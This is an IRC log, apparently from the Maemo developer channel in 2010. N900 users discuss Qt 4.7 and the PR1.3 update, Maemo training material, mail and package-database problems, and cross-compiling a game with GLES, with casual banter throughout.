| crashanddie | iuu: I googled "SBOX_CPUTRANSPARENCY_METHOD not set", first result is a TMO thread that explains clearly what you have to do within the 4 first posts, second one is a mailing list, third one is another mailing list result, 4th is IRC in this very channel with the answer as well | 17:01 |
| crashanddie | heck, the whole first 3 pages of Google contain the answer | 17:02 |
| crashanddie | lcuk: http://logs.nslu2-linux.org/livelogs/maemo/maemo.20081116.txt | 17:04 |
| crashanddie | <lcuk810> why am i here? | 17:05 |
| _|Nix|_ | Hey! What's going on with the fremantle buildbot? It's been building something called shiboken_0.5.0-1maemo1 since, like, yesterday ... | 17:05 |
| crashanddie | <GeneralAntilles> I suppose that wasn't an existential question. | 17:05 |
| Khertan | _|Nix|_, do not take care of this blocked build ... everything runs well | 17:05 |
| Khertan | _|Nix|_, i thinks it s just a display errors | 17:06 |
| Khertan | s/s/ | 17:06 |
| _|Nix|_ | Khertan: Oh, OK ... | 17:06 |
| lcuk | crashanddie, :) | 17:06 |
| lcuk | look at the timestamp of that conversation | 17:06 |
| lcuk | and of this picture http://liqbase.net/liq.20081111_012826.gary.scr.png | 17:06 |
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| lcuk | that was actually the morning i started on the library | 17:07 |
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| crashanddie | lcuk: do you think in a couple thousand years or so, we'll have people going through IRC logs trying to figure out what our customs were? | 17:09 |
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| lcuk | i do it now :) | 17:09 |
| lcuk | it took nearly 2 months to actually get something running you know crashanddie - i carried on hacking in original liqbase for ages | 17:10 |
| Jartza | should I become Qt-certified trainer? | 17:10 |
| Tu13es | are there any alternative OS's I can install on my n800? | 17:10 |
| lcuk | http://liqbase.net/liq.20090102_202719.%28null%29.scr.png | 17:10 |
| lcuk | first libliqbase screenshot ;) | 17:11 |
| luke-jr | Tu13es: Gentoo | 17:11 |
| Tu13es | hm, is there a guide somewhere? | 17:11 |
| luke-jr | Tu13es: yes. Google | 17:11 |
| Jartza | is the certificate important to companies? | 17:11 |
| Tu13es | my linux knowledge is meh at best | 17:11 |
| crashanddie | Jartza: don't bother | 17:12 |
| crashanddie | jart | 17:12 |
| crashanddie | damnit | 17:12 |
| crashanddie | Jartza: as with any certification, if a company attaches any importances to it, they'll pay for you to pass it | 17:12 |
| crashanddie | but they won't hire you because you have a certification, over you being unqualified | 17:13 |
| Jartza | crashanddie: I'm not worried about them hiring me. | 17:13 |
| crashanddie | ask yourself the question the other way around: would you want to work for a company that hired/works with you solely based on your qualifications, not your actual expertise? | 17:14 |
| Jartza | I just got a proposition to get me the certificate | 17:14 |
| crashanddie | if it's free, gfo | 17:14 |
| crashanddie | gfi | 17:14 |
| Jartza | crashanddie: nope. but I'm aleady teaching Qt, been for a long time. | 17:14 |
| crashanddie | well, you decide to show your qualifications later on or not | 17:15 |
| Jartza | Imjust don't have the trainer's certificcate | 17:15 |
| crashanddie | as long as you're not a dick who prints all his certifications in his email signature ... :P | 17:15 |
| Jartza | s/m/ / | 17:15 |
| infobot | Jartza meant: I just don't have the trainer's certificcate | 17:15 |
| Jartza | crashanddie: don't worry :) I'm teacher :P | 17:16 |
| crashanddie | do it | 17:16 |
| crashanddie | you'll learn some fun stuff and get some contacts | 17:16 |
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| crashanddie | how long is the training? | 17:17 |
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| Jartza | dunno | 17:17 |
| crashanddie | get the school to pay for it | 17:17 |
| Jartza | I'm already teaching nokia guys to program with Qt | 17:17 |
| crashanddie | (accomodation/food/transport) | 17:17 |
| Jartza | :) | 17:17 |
| crashanddie | ok, don't say "teacher" if you're not working in a school :P | 17:18 |
| Jartza | and Nokia wants me to become certified. | 17:18 |
| Jartza | I'm working for school, too. university :) | 17:18 |
| crashanddie | lol | 17:18 |
| TermanaN900 | Teaching Nokia how to use their own thing. lol :P | 17:18 |
| Jartza | and for several companies :) | 17:18 |
| crashanddie | TermanaN900: that's a good sign | 17:18 |
| alterego | I'd imagine most of their software engineers were Symbian up until now. | 17:19 |
| Jartza | TermanaN900: yep. I also participated in maemo-training-material creation :P | 17:19 |
| Jartza | though that was for gtk+ | 17:19 |
| crashanddie | so we can blame you? | 17:19 |
| TermanaN900 | :P | 17:19 |
| crashanddie | for the crappiness? | 17:19 |
| Jartza | alterego: true. or just c/c++ | 17:19 |
| TermanaN900 | crashanddie has just found his new scapegoat | 17:19 |
| alterego | Heh | 17:20 |
| Jartza | crashanddie: what's crappy? | 17:20 |
| alterego | Ah, I helped czr a bit with that :) | 17:20 |
| crashanddie | Jartza: dunno, all of it. Most of the documentation for Maemo is notoriously bad. | 17:20 |
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| crashanddie | Jartza: so the probability that I actually ever looked at anything you made is pretty low | 17:21 |
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| TermanaN900 | But hes still going to blame you anyway | 17:21 |
| alterego | Hahah | 17:21 |
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| crashanddie | did i blame him? | 17:21 |
| alterego | Sweet, just got the access details :D | 17:21 |
| jarkkom | QT side of things isn't that bad but QT SDK is quite buggy | 17:21 |
| crashanddie | no, so TermanaN900 go back herding cattle or something. | 17:22 |
| Jartza | crashanddie: http://maemo.org/development/training/ | 17:22 |
| Jartza | :) | 17:22 |
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| Jartza | of course, that material is still backed up by lecturer | 17:22 |
| crashanddie | yup, that's the crappy stuff i was talking about... Not the actual material you made, it's well laid out and stuff | 17:23 |
| crashanddie | And there is content | 17:23 |
| crashanddie | the problem is, that bunch of docs? Doesn't work at all in a project such a maemo | 17:24 |
| crashanddie | there aren't any lectures, there aren't any training days | 17:24 |
| crashanddie | there are no trainers to help you | 17:24 |
| crashanddie | and if I have to read this (which is "node 8", http://maemo.org/development/training/maemo_technology_overview_content/plain_html/node8/) before I actually get down to some code | 17:25 |
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| crashanddie | (whatever node 8 may mean) | 17:25 |
| crashanddie | Jartza: I'm not trying to be rude here, as a course, it makes perfect sense. | 17:26 |
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| crashanddie | As something that is supposed to grow developers... it's crap -- and that's a Nokia problem. | 17:26 |
| Jartza | sure, nokia wished the material to start from basics | 17:26 |
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| Jartza | of course everythin doesn't apply to everyone | 17:26 |
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| crashanddie | If you compare that to android... | 17:27 |
| Jartza | and unfortunate thing was that nokia only organized the courses for it's own employees and yes, there was atrainer (me) and that material was just a support material | 17:27 |
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| Jartza | they still decided to release the material, because it was licensed as cc | 17:27 |
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| crashanddie | I just googled "android development tutorial", I get 4 easy steps: http://developer.android.com/sdk/index.html, followed by a helloworld tutorial with code, screenshots and a bit of explaining text | 17:27 |
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| crashanddie | Jartza: I completely understand the culture Nokia is coming from in that regard | 17:28 |
| Jartza | crashanddie: no offense taken :) the maemo-material is no tutorial | 17:28 |
| Jartza | it's a course material | 17:28 |
| crashanddie | aye | 17:28 |
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| Jartza | and it's gtk+ :P | 17:29 |
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| crashanddie | yeah yeah | 17:29 |
| Jartza | but yes, you can blame me :) | 17:29 |
| jarkkom | most developers starting now should skip maemo stuff and get into Qt SDK anyway | 17:29 |
| Jartza | and nokia of course. I just did what they asked :) | 17:29 |
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| Jartza | jarkkom: that's what's happening. no-one is interested in maemo as such, or gtk+ at all. only qt. | 17:30 |
| Surfa | really? | 17:30 |
| Jartza | and that's the reason they want to certify me :P | 17:31 |
| Jartza | Surfa: really. at least in finland. | 17:31 |
| Surfa | really? :O | 17:31 |
| jarkkom | Nokia is all about Meego/Qt these days | 17:31 |
| Surfa | good if it's really so | 17:31 |
| Jartza | everybody wants meego-courses, even if they don't even seem to know what they wangt :D | 17:32 |
| Jartza | but I sell them Qt-courses | 17:32 |
| Jartza | that's a start | 17:32 |
| crashanddie | I'd like to see free trainings/courses for MeeGo | 17:32 |
| Jartza | (currently giving a 2day Qt-course in kajaani, finland) | 17:33 |
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| Jartza | but. I'm off to dinner. | 17:33 |
| MohammadAG51 | crashanddie, PM | 17:36 |
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| Khertan | if only in there Qt everywhere they can see there are other language than c++ | 17:40 |
| Khertan | s/there/their | 17:40 |
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| Elkura32dll | hi all | 17:42 |
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| Elkura32dll | manual for compiler aplication for maemo 5 nokia n900? | 17:43 |
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| * MohammadAG51 disses the N8, you don't have shit over the N900 \o/ | 17:50 | |
| * timeless_pidgin just saw a child trying to attack an e71 | 17:50 | |
| MohammadAG51 | lil steve? | 17:51 |
| timeless_pidgin | He was actually gentler w/ my n900 | 17:51 |
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| lcuk | timeless_pidgin, have you seen the bluenail girl? | 17:52 |
| lcuk | from Nokia World | 17:52 |
| timeless_pidgin | So can anyone suggest a soccer game in belfast for tonight? | 17:52 |
| timeless_pidgin | Lcuk: what's nokia world? | 17:52 |
| lcuk | timeless_pidgin, just stand on the street corner and shout something like "Manchest United are the best team in the world" I am sure some other supporters will step out and have a game with you! | 17:53 |
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| timeless_pidgin | Thanks | 17:53 |
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| * timeless_pidgin feels so unloved | 17:53 | |
| * Mece hugs timeless_pidgin | 17:55 | |
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| satmd | I can haz hug too? | 17:57 |
| satmd | ;) | 17:57 |
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| * Mece hugs satmd, to appear objective | 17:57 | |
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| satmd | :) | 17:57 |
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| timeless_pidgin | Oh right. .. | 18:01 |
| timeless_pidgin | I need to kick pidgin for focus stealing | 18:01 |
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| Mece | wow, crazy hamster blows! and frankly, that hamster doesn't seem all that crazy. | 18:03 |
| Mece | still, nice with some new games :) | 18:03 |
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| * MohammadAG51 wants nautilus on the N900 | 18:09 | |
| * satmd sighs | 18:09 | |
| SpeedEvil | The nautilus would indeed be cool. | 18:09 |
| SpeedEvil | I want a phone that can work at 20000 leagues beneateh the sea. | 18:10 |
| Mece | the n900 can totally do that with a superstrong minisub | 18:10 |
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| alterego | Oh nice, Qt 4.7 has been released? | 18:13 |
| Mece | it is? | 18:13 |
| Mece | for N900 too? | 18:14 |
| alterego | Looks like it. | 18:14 |
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| Mece | hmm.. guess it's time for pr1.3 then :) | 18:14 |
| timeless_pidgin | Officially, that's one thing which comes in our next update | 18:14 |
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| Mece | that means qml for the masses :) | 18:14 |
| satmd | :D | 18:15 |
| alterego | Yes :) | 18:15 |
| * satmd will delay today's planned reflash | 18:15 | |
| alterego | I guess we can hopefully expect PR1.3 in about two months or so .. | 18:15 |
| alterego | Hopefully .. | 18:15 |
| Mece | timeless_pidgin, yup, I figured as much. | 18:15 |
| alterego | "Anssi Vanjoki says using Android is like peeing in your pants for warmth" hahah | 18:15 |
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| crashanddie | alterego: Which in case of a diver, is bloody important | 18:17 |
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| alterego | :) | 18:17 |
| crashanddie | alterego: if you've ever surfed in any coldish weather, peeing in your wetsuit is the best thing you can do to keep you warm. | 18:17 |
| alterego | And an astronaut | 18:17 |
| Mece | well, that depends. qt4.7 was obviously one important part, or actually the most important part, so doesn't have to be to long. not that I have any particular need for a new pr, but nice to see what it contains :) | 18:17 |
| alterego | Yeah, I used to windsurf a lot during the winter | 18:17 |
| Mece | crashanddie, so.. divers should install nitdroid? | 18:17 |
| timeless_pidgin | That's the only headline i know of | 18:18 |
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| alterego | Mece: sure, my estimation is more on how long it seems to take their QA testing process ;) | 18:18 |
| alterego | Everything else in PR1.3 seems finished. | 18:18 |
| Mece | when was pr1.2 released? | 18:18 |
| alterego | So depending on how old the 4.7 release source actually is .. | 18:18 |
| crashanddie | ~pr1.2 | 18:18 |
| infobot | from memory, pr1.2 is available since early Tuesday morning. More information at http://conversations.nokia.com/2010/05/25/nokia-n900-software-update-release-1-2/ -- see ~flashing for how to update | 18:18 |
| Mece | ok. thanks | 18:18 |
| alterego | I'm guessing they're starting to test about now. | 18:18 |
| crashanddie | Mece: Since tuesday! | 18:19 |
| * crashanddie could've sworn it was longer than that | 18:19 | |
| timeless_pidgin | The 4.7 packages i saw were lame | 18:19 |
| kfx | the bot didn't specify *which* tuesday | 18:19 |
| Mece | timeless_pidgin, lame? O.o | 18:19 |
| timeless_pidgin | I'm hoping they'll suck less when shipped | 18:19 |
| crashanddie | kfx: the URL gives the date | 18:19 |
| Mece | kfx, LOL. oh really? | 18:19 |
| kfx | crashanddie: yeah it was a joke | 18:20 |
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| crashanddie | not a very good one then :) | 18:20 |
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| Mece | so pr1.2 was out early week 21 and build was from week 19 | 18:22 |
| timeless_pidgin | That'd be the optimistic ship schedule iirc | 18:22 |
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| satmd | ~pr1.3 | 18:24 |
| infobot | i heard pr1.3 is a ban'able subject now..... | 18:24 |
| satmd | o,o | 18:24 |
| * satmd hides | 18:24 | |
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| Khertan | Youhou qt4.7 will be finnally be available for Maemo | 18:27 |
| Khertan | it s 3 bug that annoy me too much ! | 18:27 |
| Khertan | it s fix 3 bug that annoy me too much ! | 18:27 |
| Khertan | yum really sucks | 18:28 |
| Khertan | i ve f*ck the rpmdb | 18:28 |
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| timeless_pidgin | Congratulations | 18:28 |
| Khertan | ? | 18:29 |
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| timeless_pidgin | On hosing it | 18:32 |
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| Khertan | ok ... rpm --rebuilddb < thread died fatal error | 18:33 |
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| Khertan | now i really understand why so many claims that it was an error to use rpm tools | 18:34 |
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| * timeless_pidgin has corrupted apt's db, it isn't much harder | 18:35 | |
| rtyler | quick silly question, anybody gotten emails "stuck" in modest's "Outbox" before? | 18:37 |
| * rtyler wonders how to get them to bloody send | 18:37 | |
| timeless_pidgin | Rtyler: frequently this week | 18:38 |
| timeless_pidgin | Is it "waiting" or "canceled" or "failed" or? | 18:38 |
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| rtyler | just sitting there in the outbox | 18:39 |
| timeless_pidgin | For waiting, the easiest solution is rebooting, opening mail and connecting to the network | 18:39 |
| rtyler | yikes | 18:40 |
| timeless_pidgin | It should have a status on the far right side | 18:40 |
| timeless_pidgin | It's really just the network going up signal that matters | 18:40 |
| timeless_pidgin | But i've been cursing it all week | 18:41 |
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| timeless_pidgin | You're welcome to experiment. | 18:42 |
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| timeless_pidgin | Unfortunately a lot of my messages end up "canceled" | 18:42 |
| timeless_pidgin | And recovering from that sucks. | 18:42 |
| timeless_pidgin | You have to movie it to another folder | 18:42 |
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| timeless_pidgin | Open in | 18:42 |
| timeless_pidgin | I then reply to all, and unquote the whole message | 18:43 |
| timeless_pidgin | And send again | 18:43 |
| sivang | hey timeless_pidgin | 18:44 |
| timeless_pidgin | Hi | 18:44 |
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| * satmd found out how he broke his n900 | 19:41 | |
| satmd | used the old emmc image instead of the pr1.2 one | 19:41 |
| satmd | the nokia download page is confusing | 19:42 |
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| satmd | can't they group the list by version? :( | 19:42 |
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| jpinx-eeepc | satmd: look for the latest ;) Are you working again now? | 19:49 |
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| steinex | hmm cant find any infos if meego will support portrait mode for everything from the beginning | 19:53 |
| Stskeeps | steinex: want to see a video? | 19:54 |
| steinex | yeah | 19:54 |
| Stskeeps | sec | 19:54 |
| Stskeeps | http://www.youtube.com/watch?v=uO0VoHtVdY8 | 19:54 |
| Stskeeps | this is from 7 september | 19:54 |
| Stskeeps | a lot has been fixed since | 19:54 |
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| satmd | the flasher for windows keeps failing at installing the driver (code 39) | 19:59 |
| satmd | so I'll try again later on my pc | 19:59 |
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| nidO | are you using win7 x64? | 20:00 |
| steinex | Stskeeps: i cant see the guy trying it ;) | 20:03 |
| Stskeeps | steinex: it's a girl, i think | 20:04 |
| ZogG | satmd you have to get usblive or cdlive with linux - that's all | 20:05 |
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| satmd | no, happened on win xp 32bit | 20:09 |
| satmd | but when I get home, I'm home with my penguins | 20:09 |
| satmd | :) | 20:09 |
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| timeless_pidgin | Satmd: where's the fun in that? | 20:10 |
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| satmd | fun? where? ;) | 20:14 |
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| tripzero | squirrel! | 20:16 |
| * slonopotamus wonders if timeless_pidgin actually means timeless_pidgin_mbp | 20:17 | |
| timeless_pidgin | In having a straightforward download page | 20:17 |
| timeless_pidgin | _n900 | 20:17 |
| timeless_pidgin | @belfast | 20:17 |
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| goze | http://www.flickr.com/photos/10185698@N00/4494088129/sizes/l/ | 20:22 |
| Stskeeps | crazy | 20:22 |
| Stskeeps | :P | 20:22 |
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| kerio | goze: wait, what | 20:23 |
| kerio | you | 20:23 |
| kerio | i | 20:23 |
| kerio | D: | 20:23 |
| kerio | i don't even | 20:23 |
| timeless_pidgin | Grr, ticketmaster.co.uk doesn't like me | 20:25 |
| goze | no not me, don't know who | 20:25 |
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| satmd | is there a way to say NO to the nokia ovi stuff after first boot? | 20:27 |
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| pH5 | satmd: no | 20:31 |
| pH5 | see http://wiki.maemo.org/PR1.2_compulsory_My_Nokia_subscription | 20:31 |
| satmd | :( | 20:31 |
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| pH5 | I think you can boot without a SIM card inserted, make sure that /var/spool/sms/outgoing is empty, and create the ~/.cherry_state file described in the wiki article above to make sure that the activation sms isn't sent. | 20:32 |
| goze | kerio: somebody called evilJazz own the picture | 20:32 |
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| jacktheripper | how come the ARM Cortex-A8 is clocked at 1Ghz on the iPad and you guys are saying OCing reduces lifetime ? | 20:54 |
| Stskeeps | ipad will break from people breaking the glass anyway ;p | 20:54 |
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| Stskeeps | and we don't say arm cortex-a8, we say omap3 | 20:55 |
| * timeless_pidgin kicks ticketmaster: http://www.ticketmaster.co.uk/browse/category=10002?go.x=15&rdc_select=td&type=selected&category=10002&root=10002&go.y=13&tm_link= | 20:55 | |
| jacktheripper | you mean OCing would reduce lifetime of other components designed for ~600 ? | 20:56 |
| goze | someone said that n900 picture is fake | 20:57 |
| jacktheripper | and I don't think apple would depend on people breaking their iPads before it fries :P | 20:58 |
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| jacktheripper | "The Cortex-A8 core used in the A4 is thought to use performance enhancements developed by chip designer Intrinsity (which was subsequently acquired by Apple)[10] in collaboration with Samsung.[11]" ~http://en.wikipedia.org/wiki/Apple_A4 | 20:59 |
| jacktheripper | nvm :D | 20:59 |
| * RST38h moos at the moon | 20:59 | |
| ieatlint | actually the n900 does say arm cortex a8 | 21:00 |
| ieatlint | it says it right on the phone in fact | 21:00 |
| satmd | indeed | 21:00 |
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| RST38h | btw http://www.engadget.com/2010/09/21/qpcs-articulated-naturality-web-looks-to-one-up-augmented-reali/ | 21:05 |
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| koud | hello, I am looking for Maemo Desktop SDK Virtual image | 21:08 |
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| koud | does anyone have a copy? it has been removed from http://tablets-dev.nokia.com/maemo-dev-env-downloads.php | 21:08 |
| timeless_pidgin | Things in that site aren't typically licensed for redistribution... | 21:09 |
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| koud | so there is no way I can get that image? | 21:10 |
| koud | all documentation everywhere points me to that link, but it is not there :( | 21:10 |
| timeless_pidgin | Stealing typically works... | 21:10 |
| timeless_pidgin | Getting caught or in trouble comes later. | 21:11 |
| koud | We are doing some development for n810 in my university, and having that enviorment would greatly help | 21:11 |
| koud | well not like I cant steal since It seems to be nowhere... | 21:11 |
| timeless_pidgin | ... | 21:12 |
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| timeless_pidgin | The point is that if someone else, like me, had it, they probably couldn't legally give it to you. | 21:12 |
| koud | I cant find any pressrelease on they removing it for some reason | 21:12 |
| koud | I know that | 21:12 |
| timeless_pidgin | Find the post announcing it, find the poster, contact them directly. | 21:13 |
| timeless_pidgin | ... Why do people ask about things they know are wrong? | 21:14 |
| timeless_pidgin | Is that something they teach in university these days? | 21:14 |
| koud | timeless_pidgin: what did I ask that was wrong? | 21:14 |
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| * RST38h hasno problemdownloading that image right off the given url | 21:15 | |
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| koud | RST38h: you can see the desktop image on that server? | 21:15 |
| RST38h | server only | 21:15 |
| koud | ah same here.. | 21:15 |
| koud | and it is old one | 21:16 |
| RST38h | why do you need the desktop? | 21:16 |
| koud | because the server one is a pain to configure | 21:16 |
| koud | I dont need it, but it would be much better | 21:16 |
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| koud | timeless_pidgin: just so you know, I never asked for someone to send me it. I was going to ask if someone had one, where they got it from. | 21:18 |
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| koud | timeless_pidgin: no need to look down at people.... | 21:19 |
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| ieatlint | telling a channel full of geeks not to be elitist and look down at people is wasting your time :P | 21:20 |
| ieatlint | it's not like the gestapo is going to knock down your door for downloading something you couldn't pay for and won't be using for commercial purposes | 21:20 |
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| ieatlint | oh, huh, qt 4.7 is out | 21:22 |
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| MohammadAG51 | who has a Female to Female adapter, an N900, and is a bit experienced with terminal | 21:30 |
| SpeedEvil | Ah. | 21:30 |
| SpeedEvil | I've lost my f-f adaptor | 21:30 |
| SpeedEvil | :/ | 21:30 |
| joga | female to female adapter...naughty | 21:31 |
| SpeedEvil | I'll see if I can dig it out | 21:31 |
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| kfx | I just use tequila for that | 21:34 |
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| Stskeeps | mm tequila | 21:35 |
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| melanor9 | hey :) | 21:43 |
| Noobmonk3y | hey :) | 21:43 |
| fnordianslip | MohammadAG51: I've found mine. What do you need? | 21:43 |
| Noobmonk3y | MohammadAG51 needs bacon... tis true | 21:44 |
| kerio | BACON | 21:44 |
| * lcuk agrees | 21:44 | |
| fnordianslip | he's not having mine | 21:44 |
| melanor9 | does anyone have any exp using SDL/gles stuff | 21:45 |
| lcuk | me wonders what happened whilst i was walking up a hill | 21:45 |
| melanor9 | i am trying to compile StoneSoup Crawl | 21:45 |
| Noobmonk3y | lcuk, not much..... | 21:45 |
| melanor9 | and got it compiled on armel (it crashes tough ) | 21:45 |
| Noobmonk3y | big hill? | 21:45 |
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| lcuk | yeah just went wandering with jake and tracy | 21:45 |
| crashanddie | just achieved packet injection with the n900 with my own driver | 21:45 |
| melanor9 | but i cant do it for x86 target and most likely its because i do miss some stuff | 21:46 |
| melanor9 | sbox-FREMANTLE_X86: ~/workdir/crawl-ref/WIZARD/source] > diff -u installed.armel installed.x86 | 21:46 |
| melanor9 | --- installed.armel 2010-09-21 19:23:13.000000000 +0100 | 21:46 |
| melanor9 | +++ installed.x86 2010-09-21 19:24:01.000000000 +0100 | 21:46 |
| melanor9 | @@ -1,4 +1,5 @@ | 21:46 |
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| RST38h | Stonesoup does notappear to require gles or sdl | 21:46 |
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| crashanddie | but then my n900 crashed and it doesn't want to find wifi anymore after reboot | 21:46 |
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| melanor9 | where i can get libgles for x86 platform ? | 21:46 |
| RST38h | Ah wait it does have a gfxversion, so SDL | 21:46 |
| Noobmonk3y | cool! lcuk, i still love the way you two have conversations over twitter :P | 21:46 |
| GAN900 | I love how broken ICD2 is. | 21:46 |
| crashanddie | MohammadAG51: ^ | 21:46 |
| crashanddie | anyway, gf here, off for the night, 'later all | 21:47 |
| lcuk | Noobmonk3y, she sms'ed luke whilst we were walking and told him she was climbing everest | 21:47 |
| RST38h | melanor9: Whydo you need glesfor Stonesoup? | 21:47 |
| Noobmonk3y | hahaha! | 21:47 |
| lcuk | it wasnt anything of the like rly | 21:47 |
| Noobmonk3y | genius | 21:47 |
| Noobmonk3y | my misses has no internet connection, no fb/twitter etc... | 21:47 |
| melanor9 | stonesoup SDL version looks great for n900 resolution, thats why | 21:47 |
| melanor9 | its rather bland in ascii | 21:47 |
| Noobmonk3y | allthough if you like cakes we did cake'tography last night! www.amazingelcakes.com | 21:48 |
| lcuk | i saw Noobmonk3y, tracy does big cakes too | 21:48 |
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| melanor9 | rst38h: try make -j 8 prefix=/opt SAVEDIR=/home/user/MyDocs/crawl-saves TILES=y GLES=y for armel/x86 | 21:48 |
| RST38h | it is sdl indeed, but not gles, the way it looks | 21:48 |
| lcuk | those do look delicious tho | 21:48 |
| Noobmonk3y | hehe , mandy wants her own cake shop, so each week after the hols she bakes, we do photography, and i'll do the website to get things going :) | 21:48 |
| Noobmonk3y | and by god they where! | 21:48 |
| Noobmonk3y | got 2 next to me now | 21:48 |
| RST38h | melanor9: 1) do not build for x86, it is useless | 21:48 |
| crashanddie | melanor9: "-j8"? Seriously? | 21:48 |
| melanor9 | it does need gles, cause they use SDL_gl for rendering | 21:49 |
| RST38h | melanor9: 2) do GLES=n | 21:49 |
| melanor9 | i do run 8 cores :) | 21:49 |
| crashanddie | unless you -pipe gcc, I doubt anything over 4 cores will vastly improve performance. | 21:49 |
| melanor9 | rst38h: it doesnt matter, as long as GLES declared, it links against it :) | 21:49 |
| RST38h | ok undefine it | 21:49 |
| crashanddie | (that is, for anything other than the initial compilation) | 21:49 |
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| Noobmonk3y | lcuk, if we come up your way will have to have a cake testing session ;) - comparison is allways good hehehe | 21:50 |
| lcuk | heh | 21:50 |
| melanor9 | rst38h: it will fuk up | 21:50 |
| melanor9 | wait | 21:50 |
| RST38h | try | 21:50 |
| lcuk | luke made lasagne today in school | 21:50 |
| RST38h | that GLES=y is there for a reason | 21:50 |
| lcuk | it tasted more like chili con carne | 21:50 |
| * lcuk enjoyed it | 21:50 | |
| RST38h | and the most likely reason is, it is optional | 21:50 |
| Noobmonk3y | hahaha, still edible, good start! | 21:50 |
| melanor9 | glwrapper-ogl.cc:374: error: 'GL_FLOAT' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:374: error: 'glVertexPointer' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:377: error: 'glTexCoordPointer' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:380: error: 'GL_UNSIGNED_BYTE' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:380: error: 'glColorPointer' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:385: error: 'GL_TRIANGLE_STRIP' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:386: error: 'GL_UNSIGNED_SHORT' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:386: error: 'glDrawElements' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:389: error: 'GL_LINES' was not declared in this scope | 21:51 |
| melanor9 | glwrapper-ogl.cc:389: error: 'glDrawArrays' was not declared in this scope | 21:51 |
| melanor9 | make: *** [glwrapper-ogl.o] Error 1 | 21:51 |
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| melanor9 | make: *** Waiting for unfinished jobs.... | 21:51 |
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| Noobmonk3y | spaaaaaaaaaaaaaaaaaaaaaaaaaaaaaam on toast | 21:51 |
| Noobmonk3y | awwwwwwwwww | 21:51 |
| * RST38h sighs | 21:51 | |
| RST38h | [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs | 21:51 |
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| RST38h | Good chance is, you can ifdef it away, so that it never compiles and runs | 21:51 |
| crashanddie | he's kicked | 21:52 |
| RST38h | pity | 21:52 |
| Noobmonk3y | oh well | 21:52 |
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| johnsq | Hi | 21:52 |
| kfx | error: /kick was not declared in this scope | 21:52 |
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| melanor9 | i keep getting kicked :) havent used IRC for decade | 21:53 |
| melanor9 | literally | 21:53 |
| lcuk | well before you get banned for another decade, learn to pastebin | 21:53 |
| crashanddie | ~pastebin | 21:53 |
| infobot | [~pastebin] A "pastebin" is a web-based service where you should paste anything over 3 lines so you don't flood the channel. Here are links to a few : http://www.pastebin.com , http://pastebin.ca , http://channels.debian.net/paste , http://paste.lisp.org , http://bin.cakephp.org/ , http://asterisk.pastey.net/ , or install pastebinit with yum or aptitude. | 21:53 |
| melanor9 | ty :) | 21:53 |
| Noobmonk3y | lol melanor9 | 21:54 |
| * Noobmonk3y smiles at that one | 21:54 | |
| RST38h | [tiredly] melanor9: Look at the source code.See if that .cc file has any #ifdefs | 21:54 |
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| Noobmonk3y | twas like a virgin being kicked | 21:54 |
| RST38h | Good chance is, you can ifdef it away, so that it never compiles and runs | 21:54 |
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| RST38h | If you do need GLES, there is a way to use it,at least for armel binaries | 21:54 |
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| melanor9 | rst: i did looked through the sources, they do use SDL_gl, i do need GLES and i got it compiled for ARMEL, but i want to compile and debug for x86 cause i'm rather unfamiliar with armel architecture and it will be a hell to debug a crash | 21:55 |
| melanor9 | i need/use GLES and it initializes well and blah-blah | 21:56 |
| RST38h | x86 binaries are not representative of how your program will behave on the actual device | 21:56 |
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| melanor9 | ehhh | 21:56 |
| RST38h | i.e. even if you compileit for x86, it won'thelp you much | 21:56 |
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| melanor9 | okay. is there any good starter docs on armel arch? | 21:56 |
| RST38h | google. | 21:56 |
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| melanor9 | mkay | 21:57 |
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| melanor9 | http://pastebin.com/3vCMay6j | 21:59 |
| melanor9 | have it worked ? :) | 21:59 |
| melanor9 | rst38h: google is all fine and dandy | 21:59 |
| melanor9 | but i'f you happen to ask a question on random forum | 21:59 |
| melanor9 | and got reasonable reply… you are in NA :) | 22:00 |
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| RST38h | if you happen to ask a random question on a random forum, you will get a random reply | 22:00 |
| melanor9 | if you got a question in return… you are in .IL :) | 22:00 |
| RST38h | yes,I am very well acquainted with this phenomenon. Google though. | 22:01 |
| melanor9 | if you got an elaborate explanation how retarded you are and why you should commit suicide - you are in russia :) | 22:01 |
| RST38h | That too, and make sure you leave us a video. | 22:01 |
| melanor9 | i already did :) | 22:02 |
| melanor9 | visit chatroulette :))) | 22:02 |
| melanor9 | hehehe | 22:02 |
| lcuk | melanor9, are you sure it was only a decade since you were last here? | 22:03 |
| Noobmonk3y | lcuk, i last used irc before i came here in 2000! | 22:04 |
| melanor9 | lcuk, probably more.. | 22:04 |
| lcuk | however did you keep yourself away for 10 years? | 22:04 |
| melanor9 | err… real life ? like socializing and stuff... | 22:05 |
| melanor9 | i sense a fat troll coming my way next minute :) | 22:05 |
| merlin1991 | hm real life? | 22:06 |
| merlin1991 | ~rl | 22:06 |
| infobot | it has been said that rl is Real Life (the bad world out there), or known as the Big Blue Box (tm). Conways game using only rational numbers | 22:06 |
| merlin1991 | gotta try that one day ;) | 22:06 |
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| melanor9 | i still think that scratchbox is retarded as IDE | 22:09 |
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| melanor9 | i mean WTF, why dont we have complete emulation of original device | 22:09 |
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| lcuk | a complete emulation of hardware would not help :) you would run out of disk space and memory overhead quickly | 22:11 |
| kfx | what | 22:12 |
| RST38h | lcuk:Says who? =) | 22:12 |
| melanor9 | i gighly doubt that | 22:12 |
| lcuk | well if it was a complete emulation it would have the same space and memory as main one :) | 22:12 |
| melanor9 | np | 22:13 |
| melanor9 | i have 8GRAM | 22:13 |
| kfx | which isn't particularly much | 22:13 |
| RST38h | lcuk: Which, for Maemo hw, is not that difficult to achieve =) | 22:13 |
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| lcuk | heh | 22:13 |
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| maltemax | Hello people. Is it advisable for non-developers to "break your device" – this is the question my n900 asks me when I go through the guide to install Transmission on it. | 23:12 |
| lcuk | maltemax, :) | 23:13 |
| FIQ | you're stuck at the gainroot place? | 23:13 |
| maltemax | yes | 23:13 |
| maltemax | typed command "sudo gainroot" | 23:13 |
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| FIQ | well, if you know what you're doing and risking, you can install rootsh from appmanager | 23:14 |
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| FIQ | that will dodge that msg | 23:14 |
